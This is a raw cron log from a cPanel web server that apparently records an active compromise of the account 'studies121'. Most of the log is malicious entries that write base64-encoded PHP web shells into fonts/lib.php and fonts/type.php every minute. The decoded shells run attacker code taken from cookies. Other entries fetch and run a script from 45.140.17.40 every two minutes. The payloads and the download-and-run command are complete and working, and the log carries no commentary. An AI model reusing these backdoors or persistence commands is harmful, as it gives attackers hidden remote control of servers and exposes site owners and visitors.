Sep  4 11:22:01 ip-184-168-122-23 CROND[13931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:22:01 ip-184-168-122-23 CROND[13933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:22:01 ip-184-168-122-23 CROND[13935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:23:01 ip-184-168-122-23 CROND[14050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:23:01 ip-184-168-122-23 CROND[14051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:23:01 ip-184-168-122-23 CROND[14054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:23:01 ip-184-168-122-23 CROND[14052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:24:01 ip-184-168-122-23 CROND[14170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:24:01 ip-184-168-122-23 CROND[14175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:24:01 ip-184-168-122-23 CROND[14174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:24:01 ip-184-168-122-23 CROND[14172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:24:01 ip-184-168-122-23 CROND[14173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:25:01 ip-184-168-122-23 CROND[14300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:25:01 ip-184-168-122-23 CROND[14299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:25:01 ip-184-168-122-23 CROND[14306]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:25:01 ip-184-168-122-23 CROND[14305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:25:01 ip-184-168-122-23 CROND[14304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:25:01 ip-184-168-122-23 CROND[14311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:26:01 ip-184-168-122-23 CROND[14495]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:26:01 ip-184-168-122-23 CROND[14497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:26:01 ip-184-168-122-23 CROND[14499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:26:01 ip-184-168-122-23 CROND[14501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:26:01 ip-184-168-122-23 CROND[14498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:27:01 ip-184-168-122-23 CROND[14629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:27:01 ip-184-168-122-23 CROND[14628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:27:01 ip-184-168-122-23 CROND[14632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:27:01 ip-184-168-122-23 CROND[14631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:28:01 ip-184-168-122-23 CROND[14718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:28:01 ip-184-168-122-23 CROND[14721]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:28:01 ip-184-168-122-23 CROND[14720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:28:01 ip-184-168-122-23 CROND[14723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:28:01 ip-184-168-122-23 CROND[14722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:29:01 ip-184-168-122-23 CROND[14861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:29:01 ip-184-168-122-23 CROND[14860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:29:01 ip-184-168-122-23 CROND[14862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:29:01 ip-184-168-122-23 CROND[14863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:30:01 ip-184-168-122-23 CROND[15019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:30:01 ip-184-168-122-23 CROND[15021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:30:01 ip-184-168-122-23 CROND[15024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:30:01 ip-184-168-122-23 CROND[15025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:30:01 ip-184-168-122-23 CROND[15026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:30:01 ip-184-168-122-23 CROND[15027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:30:01 ip-184-168-122-23 CROND[15028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:30:01 ip-184-168-122-23 CROND[15029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:31:01 ip-184-168-122-23 CROND[15129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:31:01 ip-184-168-122-23 CROND[15130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:31:01 ip-184-168-122-23 CROND[15132]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 11:31:01 ip-184-168-122-23 CROND[15133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:31:01 ip-184-168-122-23 CROND[15131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:32:02 ip-184-168-122-23 CROND[15246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:32:02 ip-184-168-122-23 CROND[15247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 11:32:02 ip-184-168-122-23 CROND[15245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:32:02 ip-184-168-122-23 CROND[15248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:32:02 ip-184-168-122-23 CROND[15249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:33:01 ip-184-168-122-23 CROND[15382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:33:01 ip-184-168-122-23 CROND[15383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:33:01 ip-184-168-122-23 CROND[15384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:33:01 ip-184-168-122-23 CROND[15385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:34:01 ip-184-168-122-23 CROND[15569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 11:34:01 ip-184-168-122-23 CROND[15570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:34:01 ip-184-168-122-23 CROND[15572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:34:01 ip-184-168-122-23 CROND[15571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
